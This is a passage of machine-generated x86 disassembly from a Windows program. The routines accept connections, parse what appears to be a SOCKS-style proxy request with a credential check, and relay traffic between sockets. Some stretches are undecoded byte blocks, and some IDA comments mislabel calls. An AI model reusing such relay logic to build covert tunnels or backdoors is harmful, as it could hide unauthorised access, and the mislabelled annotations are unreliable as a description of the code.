call near ptr 71AB3E00h
nop
test eax, eax
jnz short loc_42BA72
loc_42B9F9: ; CODE XREF: sub_42B8E0+174j
lea eax, [esp+52Ch+var_50C]
lea ecx, [esp+52Ch+var_504]
push eax
push 0
push 0
push ecx
push 1
mov [esp+540h+var_500], 0FFFFFFFFh
mov [esp+540h+var_504], 1
nop
call near ptr 71AB2DC0h
push 0
push 0
push 0
lea edx, [esp+538h+var_400]
push 3FFh
push edx
push edi
nop
call near ptr 71AB2D0Fh
push 10h
mov esi, eax
push ebx
push 0
lea eax, [esp+538h+var_400]
push esi
push eax
push 0FFFFFFFFh
call ebp ; sendto
test esi, esi
jbe short loc_42BA56
cmp esi, 0FFFFFFFFh
jnz short loc_42B9F9
loc_42BA56: ; CODE XREF: sub_42B8E0+16Fj
mov esi, dword_511C9C
push edi
call esi ; closesocket
push 0FFFFFFFFh
call esi ; closesocket
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 51Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_42BA72: ; CODE XREF: sub_42B8E0+35j
; sub_42B8E0+86j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 51Ch
retn 0Ch
sub_42B8E0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42BB00 proc near ; CODE XREF: sub_42C5C0:loc_4013A2j
var_82C = dword ptr -82Ch
var_828 = dword ptr -828h
var_824 = dword ptr -824h
var_820 = dword ptr -820h
var_81C = byte ptr -81Ch
var_81A = word ptr -81Ah
var_818 = dword ptr -818h
var_80C = dword ptr -80Ch
var_808 = dword ptr -808h
var_7E8 = dword ptr -7E8h
var_7E4 = dword ptr -7E4h
var_708 = byte ptr -708h
var_707 = byte ptr -707h
var_705 = dword ptr -705h
var_604 = word ptr -604h
var_600 = dword ptr -600h
var_5F0 = byte ptr -5F0h
var_200 = byte ptr -200h
var_100 = byte ptr -100h
arg_0 = dword ptr 4
sub esp, 82Ch
push ebx
push ebp
push esi
mov esi, [esp+838h+arg_0]
cmp esi, 0FFFFFFFFh
push edi
mov ebp, ecx
mov [esp+83Ch+var_828], 0
mov [esp+83Ch+var_82C], 0Bh
mov [esp+83Ch+var_808], esi
mov [esp+83Ch+var_80C], 1
jz loc_42BDBA
mov eax, [ebp-8]
mov ecx, [eax+4]
mov ax, [ecx+ebp-2]
cmp ax, 1
jnz loc_42BED6
mov edi, dword_511C94
lea edx, [esp+83Ch+var_82C]
push edx
push 0
lea eax, [esp+844h+var_80C]
push 0
push eax
push 1
call edi ; select
test eax, eax
jle loc_42BF63
lea ecx, [esp+83Ch+var_80C]
push ecx
push esi
call sub_438256
; ---------------------------------------------------------------------------
dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 71688005h, 89FFF883h
dd 0F1C2444h, 22184h, 0A41D8B00h, 6A00511Ch, 24948D00h
dd 240h, 5652026Ah, 0BC80D3FFh, 23C24h, 850F0500h, 1FEh
dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
dd 256248Ch, 0D3FF0000h, 26A006Ah, 4472F868h, 8BE85600h
dd 90716886h, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
dd 282444C7h, 0
; ---------------------------------------------------------------------------
mov [esp+82Ch+var_808], 7
mov [esp+82Ch+var_7E4], esi
mov [esp+82Ch+var_7E8], 1
call edi ; select
xor eax, eax
lea edx, [esp+82Ch+var_5F0]
push eax
mov ecx, 20h
lea edi, [esp+830h+var_5F0]
push 2
push edx
push esi
rep stosd
call ebx ; socket
cmp byte ptr [esp+83Ch+var_600], 1
jnz loc_42BDBA
movsx eax, byte ptr [esp+83Ch+var_600+1]
push 0
lea ecx, [esp+840h+var_200]
push eax
push ecx
push esi
call ebx ; socket
movsx edx, byte ptr [esp+83Ch+var_600+1]
push 0
lea eax, [esp+840h+var_600]
push 1
push eax
push esi
mov [esp+edx+84Ch+var_200], 0
call ebx ; socket
movsx ecx, byte ptr [esp+83Ch+var_600]
push 0
lea edx, [esp+840h+var_100]
push ecx
push edx
push esi
call ebx ; socket
movsx eax, byte ptr [esp+83Ch+var_600]
mov ecx, [ebp-8]
mov [esp+eax+83Ch+var_100], 0
mov ecx, [ecx+4]
add ecx, ebp
call sub_4017EE
mov edi, eax
lea ecx, [esp+83Ch+var_200]
loc_42BCCB: ; CODE XREF: sub_42BB00+1E9j
mov dl, [ecx]
mov al, dl
cmp dl, [edi]
jnz short loc_42BCEF
test al, al
jz short loc_42BCEB
mov dl, [ecx+1]
mov al, dl
cmp dl, [edi+1]
jnz short loc_42BCEF
add ecx, 2
add edi, 2
test al, al
jnz short loc_42BCCB
loc_42BCEB: ; CODE XREF: sub_42BB00+1D5j
xor eax, eax
jmp short loc_42BCF4
; ---------------------------------------------------------------------------
loc_42BCEF: ; CODE XREF: sub_42BB00+1D1j
; sub_42BB00+1DFj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42BCF4: ; CODE XREF: sub_42BB00+1EDj
test eax, eax
jz short loc_42BD51
mov eax, [ebp-8]
mov ecx, [eax+4]
lea ecx, [ecx+ebp+15h]
call sub_4017EE
lea edi, [esp+83Ch+var_100]
loc_42BD0E: ; CODE XREF: sub_42BB00+22Cj
mov dl, [edi]
mov cl, dl
cmp dl, [eax]
jnz short loc_42BD32
test cl, cl
jz short loc_42BD2E
mov dl, [edi+1]
mov cl, dl
cmp dl, [eax+1]
jnz short loc_42BD32
add edi, 2
add eax, 2
test cl, cl
jnz short loc_42BD0E
loc_42BD2E: ; CODE XREF: sub_42BB00+218j
xor eax, eax
jmp short loc_42BD37
; ---------------------------------------------------------------------------
loc_42BD32: ; CODE XREF: sub_42BB00+214j
; sub_42BB00+222j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42BD37: ; CODE XREF: sub_42BB00+230j
test eax, eax
jz short loc_42BD51
push esi
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 82Ch
retn 4
; ---------------------------------------------------------------------------
loc_42BD51: ; CODE XREF: sub_42BB00+1F6j
; sub_42BB00+239j
mov edi, dword_511CA0
push 0
push 2
push offset dword_4472F4
push esi
call edi ; send
lea eax, [esp+83Ch+var_82C]
lea ecx, [esp+83Ch+var_80C]
push eax
push 0
push 0
push ecx
push 1
mov [esp+850h+var_808], esi
mov [esp+850h+var_80C], 1
call near ptr 71AB2DC0h
nop
lea edx, [esp+83Ch+var_80C]
push edx
push esi
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_42BDBA
push 0
lea eax, [esp+840h+var_708]
push 4
push eax
push esi
call ebx ; socket
mov eax, [esp+83Ch+var_705]
and eax, 0FFh
dec eax
jz short loc_42BE21
sub eax, 2
jz short loc_42BDC9
dec eax
loc_42BDB8: ; CODE XREF: sub_42BB00+31Fj
jnz short loc_42BE30
loc_42BDBA: ; CODE XREF: sub_42BB00+32j
; sub_42BB00+154j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 82Ch
retn 4
; ---------------------------------------------------------------------------
loc_42BDC9: ; CODE XREF: sub_42BB00+2B5j
push 0
lea ecx, [esp+840h+var_600]
push 1
push ecx
push esi
call ebx ; socket
movsx edx, byte ptr [esp+83Ch+var_600]
push 0
lea eax, [esp+840h+var_705+1]
push edx
push eax
push esi
call ebx ; socket
movsx ecx, byte ptr [esp+83Ch+var_600]
lea edx, [esp+83Ch+var_600]
lea eax, [esp+83Ch+var_705+1]
mov byte ptr [esp+ecx+83Ch+var_705+1], 0
mov ecx, [ebp-8]
push edx
push eax
mov edx, [ecx+4]
lea ecx, [edx+ebp-8]
call sub_401758
test al, al
jmp short loc_42BDB8
; ---------------------------------------------------------------------------
loc_42BE21: ; CODE XREF: sub_42BB00+2B0j
push 0
lea eax, [esp+840h+var_600]
push 4
push eax
push esi
call ebx ; socket
loc_42BE30: ; CODE XREF: sub_42BB00:loc_42BDB8j
push 0
lea ecx, [esp+840h+var_604]
push 2
push ecx
push esi
call ebx ; socket
cmp [esp+83Ch+var_707], 1
jnz loc_42BDBA
mov ebx, [esp+83Ch+var_820]
mov dx, [esp+83Ch+var_604]
mov eax, [esp+83Ch+var_600]
lea ecx, [esp+83Ch+var_81C]
push 10h
push ecx
push ebx
mov word ptr [esp+848h+var_81C], 2
mov [esp+848h+var_81A], dx
mov [esp+848h+var_818], eax
nop
call near ptr 71AB406Ah
test eax, eax
jnz loc_42BDBA
push eax
push 4
push offset dword_4472EC
push esi
call edi ; send
push 0
lea edx, [esp+840h+var_600]
push 4
push edx
push esi
call edi ; send
push 0
lea eax, [esp+840h+var_604]
push 2
push eax
push esi
call edi ; send
mov ecx, [ebp-8]
push ebx
push esi
mov edx, [ecx+4]
lea ecx, [edx+ebp-8]
call sub_4020E0
push ebx
call near ptr 71AB9639h
nop
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 82Ch
retn 4
; ---------------------------------------------------------------------------
loc_42BED6: ; CODE XREF: sub_42BB00+47j
cmp ax, 2
jnz loc_42BF63
mov ebx, dword_511C94
loc_42BEE6: ; CODE XREF: sub_42BB00+461j
lea eax, [esp+83Ch+var_82C]
lea ecx, [esp+83Ch+var_80C]
push eax
push 0
push 0
push ecx
push 1
mov [esp+850h+var_808], esi
mov [esp+850h+var_80C], 1
call ebx ; select
lea edx, [esp+83Ch+var_824]
lea eax, [esp+83Ch+var_81C]
push edx
push eax
push 0
lea ecx, [esp+848h+var_600]
push 3FFh
push ecx
push esi
mov [esp+854h+var_824], 10h
nop
call near ptr 71AB2D0Fh
mov ecx, [ebp-8]
mov edi, eax
lea edx, [esp+83Ch+var_600]
push edi
push edx
mov edx, [ecx+4]
lea eax, [esp+844h+var_81C]
push eax
lea ecx, [edx+ebp-8]
call sub_401C30
test edi, edi
jz short loc_42BF63
cmp edi, 0FFFFFFFFh
jz short loc_42BF63
lea eax, [esp+83Ch+var_80C]
push eax
push esi
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_42BEE6
loc_42BF63: ; CODE XREF: sub_42BB00+67j
; sub_42BB00+3DAj ...
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 82Ch
retn 4
sub_42BB00 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C0A0 proc near ; CODE XREF: sub_401F37j
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
sub esp, 10h
push esi
mov esi, ecx
mov eax, [esi+32h]
test eax, eax
jz short loc_42C0B4
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42C0B4: ; CODE XREF: sub_42C0A0+Bj
xor eax, eax
mov ax, [esi+6]
dec eax
jz short loc_42C0C6
dec eax
jz short loc_42C0E8
mov word ptr [esi+6], 1
loc_42C0C6: ; CODE XREF: sub_42C0A0+1Bj
mov eax, 1
mov ecx, 6
loc_42C0D0: ; CODE XREF: sub_42C0A0+52j
push ecx
push eax
push 2
call near ptr 71AB3B91h
nop
test eax, eax
mov [esi+32h], eax
jnz short loc_42C0F4
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42C0E8: ; CODE XREF: sub_42C0A0+1Ej
mov eax, 2
mov ecx, 11h
jmp short loc_42C0D0
; ---------------------------------------------------------------------------
loc_42C0F4: ; CODE XREF: sub_42C0A0+3Fj
mov ax, [esi+4]
mov [esp+14h+var_10], 2
push eax
mov [esp+18h+var_C], 0
call near ptr 71AB2B66h
nop
mov edx, [esi+32h]
lea ecx, [esp+14h+var_10]
push 10h
push ecx
push edx
mov [esp+20h+var_E], ax
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_42C139
mov eax, [esi+32h]
push eax
nop
call near ptr 71AB9639h
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42C139: ; CODE XREF: sub_42C0A0+86j
cmp word ptr [esi+6], 1
jnz short loc_42C161
mov ecx, [esi+32h]
push 3
push ecx
nop
call near ptr 71AB88D3h
test eax, eax
jz short loc_42C161
mov edx, [esi+32h]
push edx
nop
call near ptr 71AB9639h
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42C161: ; CODE XREF: sub_42C0A0+9Ej
; sub_42C0A0+AEj
mov al, 1
pop esi
add esp, 10h
retn
sub_42C0A0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C1B0 proc near ; CODE XREF: sub_401DD4j
var_24 = byte ptr -24h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_42C1B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, ecx
mov [ebp+var_10], esp
mov ax, [edi+6]
cmp ax, 1
jnz short loc_42C24A
mov eax, [edi+32h]
mov [ebp+var_14], 10h
test eax, eax
jz short loc_42C231
mov ebx, dword_511C98
lea ecx, [ebp+var_14]
lea edx, [ebp+var_24]
push ecx
push edx
push eax
call ebx ; accept
mov esi, eax
test esi, esi
jnz short loc_42C216
loc_42C202: ; CODE XREF: sub_42C1B0+64j
mov edx, [edi+32h]
lea eax, [ebp+var_14]
lea ecx, [ebp+var_24]
push eax
push ecx
push edx
call ebx ; accept
mov esi, eax
test esi, esi
jz short loc_42C202
loc_42C216: ; CODE XREF: sub_42C1B0+50j
mov eax, [edi]
push esi
mov ecx, edi
mov [ebp+var_4], 0
call dword ptr [eax]
push esi
mov bl, al
call near ptr 71AB9639h
nop
test bl, bl
jnz short loc_42C26A
loc_42C231: ; CODE XREF: sub_42C1B0+39j
; sub_42C1B0+9Ej ...
xor al, al
mov ecx, [ebp+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42C244: ; DATA XREF: ___:00442FACo
mov eax, offset loc_42C231
retn
; ---------------------------------------------------------------------------
loc_42C24A: ; CODE XREF: sub_42C1B0+2Bj
cmp ax, 2
jnz short loc_42C231
mov eax, [edi+32h]
mov edx, [edi]
push eax
mov ecx, edi
call dword ptr [edx]
mov ecx, [edi+32h]
mov bl, al
push ecx
call near ptr 71AB9639h
nop
test bl, bl
jz short loc_42C231
loc_42C26A: ; CODE XREF: sub_42C1B0+7Fj
mov ecx, [ebp+var_C]
pop edi
pop esi
mov al, 1
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_42C1B0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42C2C0: ; CODE XREF: ___:00401F96j
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_43CEB0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
mov esi, [ebp+8]
push edi
mov [ebp-10h], esp
mov dword ptr [ebp-4], 0
mov eax, [esi]
mov ecx, [eax+4]
mov eax, [ecx+esi+32h]
add ecx, esi
push eax
mov edx, [ecx]
call dword ptr [edx]
mov ecx, [esi]
mov edx, [ecx+4]
mov eax, [edx+esi+32h]
push eax
call near ptr 71AB9639h
nop
loc_42C309: ; DATA XREF: ___:loc_42C321o
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov eax, 1
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_42C321: ; DATA XREF: ___:0044300Co
mov eax, offset loc_42C309
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C350 proc near ; CODE XREF: sub_401C2Bj
var_19C = byte ptr -19Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_4 = byte ptr 8
arg_1C = byte ptr 20h
push 0FFFFFFFFh
push offset SEH_42C350
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 194h
lea eax, [esp+1A0h+var_19C]
mov [esp+1A0h+var_4], 1
push eax
push 2
call near ptr 71AB664Dh
nop
test eax, eax
jz short loc_42C3C7
loc_42C387: ; CODE XREF: ___:0042C456j
lea ecx, [esp+1A0h+arg_4]
mov byte ptr [esp+1A0h+var_4], 0
call sub_401226
lea ecx, [esp+1A0h+arg_1C]
mov [esp+1A0h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1A0h+var_C]
mov large fs:0, ecx
add esp, 1A0h
retn
; ---------------------------------------------------------------------------
loc_42C3C7: ; CODE XREF: sub_42C350+35j
push 42h
call sub_437AEA
sub_42C350 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+0], eax
test eax, eax
mov byte ptr [esp+19Ch], 2
jz short loc_42C3EC
push 1
mov ecx, eax
call sub_4014F1
jmp short loc_42C3EE
; ---------------------------------------------------------------------------
loc_42C3EC: ; CODE XREF: ___:0042C3DFj
xor eax, eax
loc_42C3EE: ; CODE XREF: ___:0042C3EAj
mov dword_5103A4, eax
mov ecx, [eax]
mov byte ptr [esp+19Ch], 1
mov edx, [ecx+4]
mov cx, [esp+1A4h]
mov [edx+eax+4], cx
mov eax, dword_5103A4
lea edx, [esp+1A8h]
mov ecx, [eax]
push edx
mov edx, [ecx+4]
lea ecx, [edx+eax+8]
call sub_40202C
lea eax, [esp+1C0h]
push eax
mov eax, dword_5103A4
mov ecx, [eax]
mov edx, [ecx+4]
lea ecx, [edx+eax+1Dh]
call sub_40202C
mov eax, dword_5103A4
mov ecx, [eax]
mov ecx, [ecx+4]
add ecx, eax
call sub_401F37
test al, al
jz loc_42C387
loc_42C45C: ; CODE XREF: ___:0042C46Dj
mov eax, dword_5103A4
mov edx, [eax]
mov ecx, [edx+4]
add ecx, eax
call sub_401DD4
jmp short loc_42C45C
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C4C0 proc near ; CODE XREF: sub_4014F1j
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
test eax, eax
mov esi, ecx
mov [esp+8+var_4], 0
jz short loc_42C4E2
lea ecx, [esi+8]
mov dword ptr [esi], offset dword_43F190
call sub_4014B5
loc_42C4E2: ; CODE XREF: sub_42C4C0+12j
mov eax, [esi]
mov ecx, [eax+4]
mov dword ptr [ecx+esi], offset off_43F18C
mov edx, [esi]
mov eax, [edx+4]
lea ecx, [eax-8]
mov [eax+esi-4], ecx
mov eax, esi
pop esi
pop ecx
retn 4
sub_42C4C0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C530 proc near ; CODE XREF: sub_4014B5j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42C530
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+8]
call sub_40142E
lea ecx, [esi+1Dh]
mov [esp+14h+var_4], 0
call sub_40142E
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F19C
mov dword ptr [esi+32h], 0
mov word ptr [esi+6], 1
mov word ptr [esi+4], 0
mov dword ptr [esi+36h], 1000h
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42C530 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C5C0 proc near ; CODE XREF: sub_4020EFj
; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES
sub ecx, [ecx-4]
jmp loc_4013A2
sub_42C5C0 endp
; ---------------------------------------------------------------------------
align 10h
loc_42C5D0: ; CODE XREF: ___:00401352j
push 0FFFFFFFFh
push offset loc_43CF28
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
call sub_401FA0
push offset off_444D54
lea ecx, [esi+11h]
mov dword ptr [esp+14h], 0
mov dword ptr [esi], offset off_43F1A0
call sub_4015E1
mov ecx, [esp+8]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C640 proc near ; CODE XREF: ___:00401398j sub_401F5Fj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4011BD
test [esp+4+arg_0], 1
jz short loc_42C658
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42C658: ; CODE XREF: sub_42C640+Dj
mov eax, esi
pop esi
retn 4
sub_42C640 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42C670 proc near ; CODE XREF: sub_4011BDj
jmp sub_4017A8
sub_42C670 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42C690: ; CODE XREF: ___:loc_40134Dj
mov eax, 1000h
call sub_437B30
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+99h]
mov cl, [eax+11Ch]
test cl, cl
jz short loc_42C71C
mov ebx, dword_511CA4
mov ebp, dword_511CA0
loc_42C6BC: ; CODE XREF: ___:0042C71Aj
mov edx, [esi+9Dh]
mov ecx, 400h
xor eax, eax
lea edi, [esp+10h]
rep stosd
push eax
mov eax, [edx+0A5h]
lea ecx, [esp+14h]
push 1000h
push ecx
push eax
call ebx ; recv
test eax, eax
jz short loc_42C71C
cmp eax, 0FFFFFFFFh
jz short loc_42C71C
mov edx, [esi+9Dh]
push 0
push eax
lea ecx, [esp+18h]
mov eax, [edx+0A1h]
push ecx
push eax
call ebp ; send
test eax, eax
jz short loc_42C71C
cmp eax, 0FFFFFFFFh
jz short loc_42C71C
mov ecx, [esi+99h]
mov al, [ecx+11Ch]
test al, al
jnz short loc_42C6BC
loc_42C71C: ; CODE XREF: ___:0042C6AEj
; ___:0042C6E5j ...
mov edx, [esi+9Dh]
pop edi
pop esi
pop ebp
mov eax, [edx+0A1h]
pop ebx
cmp eax, 0FFFFFFFFh
jz short loc_42C738
push eax
call near ptr 71AB9639h
nop
loc_42C738: ; CODE XREF: ___:0042C72Fj
add esp, 1000h
retn
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C770 proc near ; CODE XREF: sub_40166Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42C770
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401FA0
push offset off_444D54
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F1B0
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42C770 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C7E0 proc near ; CODE XREF: ___:004013A7j sub_401B36j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401217
test [esp+4+arg_0], 1
jz short loc_42C7F8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42C7F8: ; CODE XREF: sub_42C7E0+Dj
mov eax, esi
pop esi
retn 4
sub_42C7E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42C810 proc near ; CODE XREF: sub_401217j
jmp sub_4017A8
sub_42C810 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C830 proc near ; CODE XREF: sub_401537j
var_50 = byte ptr -50h
var_40 = byte ptr -40h
var_30 = byte ptr -30h
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_C = byte ptr -0Ch
var_A = word ptr -0Ah
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, 1014h
call sub_437B30
push ebx
push ebp
push esi
mov esi, ecx
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+99h]
mov [esi+0A5h], edi
mov cl, [eax+11Ch]
test cl, cl
jz loc_42C9FA
mov ebx, 1
push 6
push ebx
push 2
call near ptr 71AB3B91h
nop
cmp eax, edi
mov [esi+0A5h], eax
jnz short loc_42C888
mov [esi+0A5h], edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
; ---------------------------------------------------------------------------
loc_42C888: ; CODE XREF: sub_42C830+45j
mov dx, [esi+3Fh]
xor ecx, ecx
mov [esp+1Ch+var_8], ecx
push edx
mov [esp+20h+var_4], ecx
mov word ptr [esp+20h+var_8], 2
mov [esp+20h], ecx
mov [esp+20h+arg_0], ecx
call near ptr 71AB2B66h
nop
lea ecx, [esi+43h]
mov [esp+20h+var_A], ax
call sub_4017EE
push eax
call sub_40188E
add esp, 4
cmp eax, edi
mov [esp+20h+var_8], eax
jnz short loc_42C8E2
mov eax, [esi+0A5h]
push eax
call near ptr 71AB9639h
nop
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
; ---------------------------------------------------------------------------
loc_42C8E2: ; CODE XREF: sub_42C830+98j
mov edx, [esi+0A5h]
lea ecx, [esp+20h+var_C]
push 10h
push ecx
push edx
call near ptr 71AB406Ah
nop
cmp eax, edi
jnz short loc_42C912
mov eax, [esi+0A5h]
push eax
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
; ---------------------------------------------------------------------------
loc_42C912: ; CODE XREF: sub_42C830+C8j
mov edx, [esi+0A1h]
mov edi, dword_511CAC
lea ecx, [esp+2Ch+var_1C]
mov [esp+2Ch+var_1C], ebx
push ecx
push 8004667Eh
push edx
call edi ; ioctlsocket
mov ecx, [esi+0A5h]
lea eax, [esp+38h+var_28]
push eax
push 8004667Eh
push ecx
mov [esp+44h+var_28], ebx
call edi ; ioctlsocket
mov edx, [esi+99h]
mov al, [edx+11Ch]
test al, al
jz loc_42C9FA
mov ebx, dword_511CA4
mov ebp, dword_511CA0
loc_42C966: ; CODE XREF: sub_42C830+1BAj
mov ecx, [esi+0A5h]
push 0
lea eax, [esp+48h+var_20]
push 1000h
push eax
push ecx
call ebx ; recv
mov edi, eax
test edi, edi
jz short loc_42C9FA
jge short loc_42C990
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jnz short loc_42C9F2
loc_42C990: ; CODE XREF: sub_42C830+151j
mov eax, [esi+0A1h]
push 0
lea edx, [esp+58h+var_30]
push edi
push edx
push eax
call ebp ; send
mov edx, [esi+0A1h]
push 0
lea ecx, [esp+68h+var_40]
push 1000h
push ecx
push edx
call ebx ; recv
mov edi, eax
test edi, edi
jz short loc_42C9FA
jge short loc_42C9CB
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jnz short loc_42C9F2
loc_42C9CB: ; CODE XREF: sub_42C830+18Cj
mov ecx, [esi+0A5h]
push 0
lea eax, [esp+78h+var_50]
push edi
push eax
push ecx
call ebp ; send
mov edx, [esi+99h]
mov al, [edx+11Ch]
test al, al
jnz loc_42C966
jmp short loc_42C9FA
; ---------------------------------------------------------------------------
loc_42C9F2: ; CODE XREF: sub_42C830+15Ej
; sub_42C830+199j
push 0Ah
call near ptr 2850369h
nop
loc_42C9FA: ; CODE XREF: sub_42C830+27j
; sub_42C830+124j ...
mov eax, [esi+0A1h]
mov edi, dword_511C9C
cmp eax, 0FFFFFFFFh
jz short loc_42CA0E
push eax
call edi ; closesocket
loc_42CA0E: ; CODE XREF: sub_42C830+1D9j
mov esi, [esi+0A5h]
cmp esi, 0FFFFFFFFh
jz short loc_42CA1C
push esi
call edi ; closesocket
loc_42CA1C: ; CODE XREF: sub_42C830+1E7j
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
sub_42C830 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 80h dup(0CCh)
db 6Ah ; j
db 0FFh
db 68h ; h
db 68h ; h
db 0CFh ; Ο
db 43h ; C
db 0
db 64h ; d
db 0A1h ; ‘
db 0
db 0
db 0
db 0
db 50h ; P
db 64h ; d
db 89h ;
db 25h ; %
db 0
db 0
db 0
db 0
db 51h ; Q
db 56h ; V
db 8Bh ;
db 0F1h ; ρ
db 89h ;
db 74h ; t
db 24h ; $
db 4
db 0E8h ; θ
db 0CEh ; Ξ
db 54h ; T
db 0FDh ; ύ
db 0FFh
db 68h ; h
db 54h ; T
db 4Dh ; M
db 44h ; D
db 0
db 8Dh ;
db 4Eh ; N
db 11h
db 0C7h ; Η
db 44h ; D
db 24h ; $
db 14h
db 0
db 0
db 0
db 0
db 0C7h ; Η
db 6
db 0C0h ; ΐ
db 0F1h ; ρ
db 43h ; C
db 0
db 0E8h ; θ
db 0F4h ; τ
db 4Ah ; J
db 0FDh ; ύ
db 0FFh
db 8Bh ;
db 4Ch ; L
db 24h ; $
db 8
db 8Bh ;
db 0C6h ; Ζ
db 5Eh ; ^
db 64h ; d
db 89h ;
db 0Dh
db 0
db 0
db 0
db 0
db 83h ;
db 0C4h ; Δ
db 10h
